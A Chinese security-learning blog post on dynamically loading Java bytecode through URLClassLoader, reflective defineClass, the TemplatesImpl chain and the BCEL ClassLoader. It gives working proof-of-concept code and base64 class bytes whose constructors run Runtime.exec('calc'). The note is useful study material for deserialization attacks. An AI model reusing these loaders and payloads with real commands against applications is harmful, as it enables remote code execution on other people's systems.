[Java安全]—动态加载字节码文件

ClassLoader加载远程字节码

POC

import java.io.IOException;
import java.net.URL;
import java.net.URLClassLoader;

public class Classloader {
    public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException {
        URL[] urls = {new URL("http://127.0.0.1:8000/")};
        URLClassLoader classLoader = URLClassLoader.newInstance(urls);
        Class<?> c = classLoader.loadClass("Exec");
        c.newInstance();
    }
}

构造一个恶意的类

import java.io.IOException;

public class Exec {
    public Exec() throws IOException {
        Runtime.getRuntime().exec("calc");
    }
}

在当前目录生成Exec.class字节码文件,并开启远程服务

在这里插入图片描述

此时运行Classloader.java便会弹出计算器,成功远程代码执行

在这里插入图片描述

defineClass直接加载字节码

不管是加 载远程class文件,还是本地的class或jar文件,Java都经历的是下面这三个方法调用:

ClassLoader#loadClass
	ClassLoader#findClass
		#ClassLoader#defineClass

在前篇classloader,自定义类的加载器时也有说过这三个方法

两种方式读取

第一种就是通过IO进行文件读取,这里的defineClass是protect类型的,所以需要通过反射来获取,而getSystemClassLoader是因为ClassLoader是一个抽象类,无法实例话而调用的一个静态方法,前篇提到过。

import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;

public class DefineClassTest {
    public static void main(String[] args) throws IOException, ClassNotFoundException, IllegalAccessException, InstantiationException, NoSuchMethodException, InvocationTargetException, InvocationTargetException {
        Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass",String.class,byte[].class,int.class,int.class);
        defineClass.setAccessible(true);
        byte[] code= Files.readAllBytes(Paths.get("C:\\Users\\del'l'\\Desktop\\Exec.class"));
        Class Exec = (Class)defineClass.invoke(ClassLoader.getSystemClassLoader(),"Exec",code,0,code.length);
        Exec.newInstance();
    }
}

另一种就是将字节码文件设置为Exec.class的base64编码,(因为Exec.class存在不可见字符)

在这里插入图片描述

import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.net.MalformedURLException;
import java.util.Base64;

public class DefineClassTest {
    public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, IllegalAccessException, InstantiationException, NoSuchMethodException, InvocationTargetException, InvocationTargetException {
        Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass",String.class,byte[].class,int.class,int.class);
        defineClass.setAccessible(true);
        byte[] code = Base64.getDecoder().decode("yv66vgAAADQAHAoABgAPCgAQABEIABIKABAAEwcAFAcAFQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAWAQAKU291cmNlRmlsZQEACUV4ZWMuamF2YQwABwAIBwAXDAAYABkBAARjYWxjDAAaABsBAARFeGVjAQAQamF2YS9sYW5nL09iamVjdAEAE2phdmEvaW8vSU9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAABAAEABwAIAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAABAAEAAUADQAGAAsAAAAEAAEADAABAA0AAAACAA4=");
        Class Exec = (Class)defineClass.invoke(ClassLoader.getSystemClassLoader(),"Exec",code,0,code.length);
        Exec.newInstance();
    }
}

这种方式会有一个初始化的问题,前篇提到过ClassLoader.loadClass这种方式,不会进行初始化,所以即使是static{}的内容也不会执行。在实际场景中,因为defineClass方法作用域是不开放的,所以攻击者很少能直接利用到它,但它却是我 们常用的一个攻击链 TemplatesImpl 的基石。

TemplatesImpl加载字节码

TemplatesImpl相当于defineClass的一个延伸吧,defineClass在TemplatesImplTransletClassLoader被重载

跟进com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl的TransletClassLoader类

static final class TransletClassLoader extends ClassLoader {
    private final Map<String,Class> _loadedExternalExtensionFunctions;

     TransletClassLoader(ClassLoader parent) {
         super(parent);
        _loadedExternalExtensionFunctions = null;
    }

    TransletClassLoader(ClassLoader parent,Map<String, Class> mapEF) {
        super(parent);
        _loadedExternalExtensionFunctions = mapEF;
    }

    public Class<?> loadClass(String name) throws ClassNotFoundException {
        Class<?> ret = null;
        // The _loadedExternalExtensionFunctions will be empty when the
        // SecurityManager is not set and the FSP is turned off
        if (_loadedExternalExtensionFunctions != null) {
            ret = _loadedExternalExtensionFunctions.get(name);
        }
        if (ret == null) {
            ret = super.loadClass(name);
        }
        return ret;
     }

    /**
     * Access to final protected superclass member from outer class.
     */
    Class defineClass(final byte[] b) {
        return defineClass(null, b, 0, b.length);
    }
}

在最后重写了defineClass方法,并且没注明类型,所以默认为default只能为内部调用。

所以要看本类中谁调用了defineClass,在defineTransletClasses()发现

在这里插入图片描述

再看谁调用了defineTransletClasses,发现getTransletInstance()

在这里插入图片描述

接着看调用getTransletInstance(),发现newTransformer(),而这个方法是public的可以直接进行外部调用,所以到这结束了

在这里插入图片描述

TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() -> 
TemplatesImpl#defineTransletClasses()-> 
TransletClassLoader#defineClass()

链子捋完了剩下的就是一些细节的部分

继续跟进到newTransformer#getTransletInstance(),要满足两个条件 _name不为null,且_class为null才能进入defineTransletClasses(),而默认情况下它俩都为null,所以就需要修改_name的值

private Translet getTransletInstance()
    throws TransformerConfigurationException {
    try {
        if (_name == null) return null;

        if (_class == null) defineTransletClasses();

而这些都是私有属性所以,需要通过反射来修改他的值,此时在TemplatesImpl.java中发现构造器

public TemplatesImpl() { }

那就可以通过这个构造器来修改我们的属性值了,由于修改部分用的较多这里直接写成了setFieldValue()方法

public class TemplatesImplTest {
    public static void main(String[] args) throws Exception {
        Templates templates = new TemplatesImpl();
        setFieldValue(templates,"_name","Sentiment");

    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

继续跟进defineTransletClasses(),这里判断_bytecodes不能为null

    if (_bytecodes == null) {
        ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
        throw new TransformerConfigurationException(err.toString());
    }

在往下看这里会调用loader.defineClass(_bytecodes[i]);

final int classCount = _bytecodes.length;
_class = new Class[classCount];

for (int i = 0; i < classCount; i++) {
	_class[i] = loader.defineClass(_bytecodes[i]);

所以_bytecodes[0]就该是我们要加载的类的字节数组:

setFieldValue(templates,"_bytecodes",new byte[][]{bytes});

这里构造完后再看中间还有个run()方法

TransletClassLoader loader = (TransletClassLoader)
    AccessController.doPrivileged(new PrivilegedAction() {
        public Object run() {
            return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
        }
    });

其中调用了_tfactory.getExternalExtensionsMap(),跟进后,发现getExternalExtensionsMap()是TransformerFactoryImpl类的所以这里直接构造

setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

构造好后还有一个点:

根据p神的描述:TemplatesImpl 中对加载的字节码是有一定要求的:这个字节码对应的类必须是 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet 的子类。
分析下具体原因:

private int _transletIndex = -1;
..............................

if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
    _transletIndex = i;
}
 else {
    _auxClasses.put(_class[i].getName(), _class[i]);
    }     
}

if (_transletIndex < 0) {
   ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
   throw new TransformerConfigurationException(err.toString());
            }

defineTransletClasses()中,else中的_auxClasses默认值为null,所以调用put方法后就会报错,而且_transletIndex 默认值为-1,即使给_auxClasses赋值也会在下边的if处抛出异常从而报错,所以这里就需要进入if语句,而if中会判断父类名是否跟ABSTRACT_TRANSLET相同,跟进看下

private static String ABSTRACT_TRANSLET
= "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";

所以在构造时就需要继承于AbstractTranslet,而AbstractTranslet是个抽象类就需要实现它未实现的接口,可以看到第一个的transform()
在这里插入图片描述
AbstractTranslet还继承了TransletTranslet也有一个transform()没有实现,所以在这里就需要同时实现两个类的transform(),即:

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class EvilTest extends AbstractTranslet{

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
    public EvilTest() throws Exception{
        Runtime.getRuntime().exec("calc");
    }
}

生成class文件

javac EvilTest.java

POC

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javax.xml.transform.Templates;
import java.lang.reflect.Field;
import java.util.Base64;

public class TemplatesImplTest {
    public static void main(String[] args) throws Exception {
        Templates templates = new TemplatesImpl();
        byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMMAB8AIAEACEV2aWxUZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAMAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAAEQALAAAABAABAAwAAQAOAA8AAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAASAAQAEwANABQACwAAAAQAAQAQAAEAEQAAAAIAEg==");
        setFieldValue(templates,"_name","Sentiment");
        setFieldValue(templates,"_bytecodes",new byte[][]{bytes});
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
        templates.newTransformer();
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

看师傅文章写到这里并没有进行newInstance(),为什么会弹出计算器?跟进看一下

在new后,先进入getTransletInstance()->defineTransletClasses()

在这里插入图片描述

由于我们只传入了一个字节数组,所以_bytecode的长度默认为1,赋值给了classCount,之后第一轮循环i=0,将_bytecode的值赋给_class[0],最后经过if判断,将_transletIndex赋值为0

在这里插入图片描述

之后回到getTransletInstance(),调用_class[0]的newInstance();弹出计算器

在这里插入图片描述

BCEL ClassLoader加载字节码

详细可看p神文章BCEL ClassLoader去哪了 | 离别歌 (leavesongs.com)

我们可以通过BCEL提供的两个类 Repository 和 Utility 来利用: Repository 用于将一个Java Class 先转换成原生字节码,当然这里也可以直接使用javac命令来编译java文件生成字节码; Utility 用于将 原生的字节码转换成BCEL格式的字节码

这里的class文件就直接用前边的Exec.class

POC

import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;	//8u_251后移除,注意版本


public class BCELTest {
    public static void main(String[] args) throws Exception {
        JavaClass javaClass = Repository.lookupClass(Exec.class);
        String code = Utility.encode(javaClass.getBytes(),true);
        new ClassLoader().loadClass("$$BCEL$$"+code).newInstance();
    }
}

要加上$$BCEL$$是因为:

BCEL这个包中有个有趣的类com.sun.org.apache.bcel.internal.util.ClassLoader,他是一个ClassLoader,但是他重写了Java内置的ClassLoader#loadClass()方法。

在ClassLoader#loadClass()中,其会判断类名是否是$BCEL$开头,如果是的话,将会对这个字符串进行decode。

总结

这块感觉东西很杂学的很乱,等后续学fastjson时再补吧。。。。。

《Java安全漫谈 - 13.Java中动态加载字节码的那些方法》

Java安全动态加载字节码学习笔记_bfengj的博客-CSDN博客

(1条消息) 加载字节码的几种方式_@Demo的博客-CSDN博客_字节码加载

  • 3
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值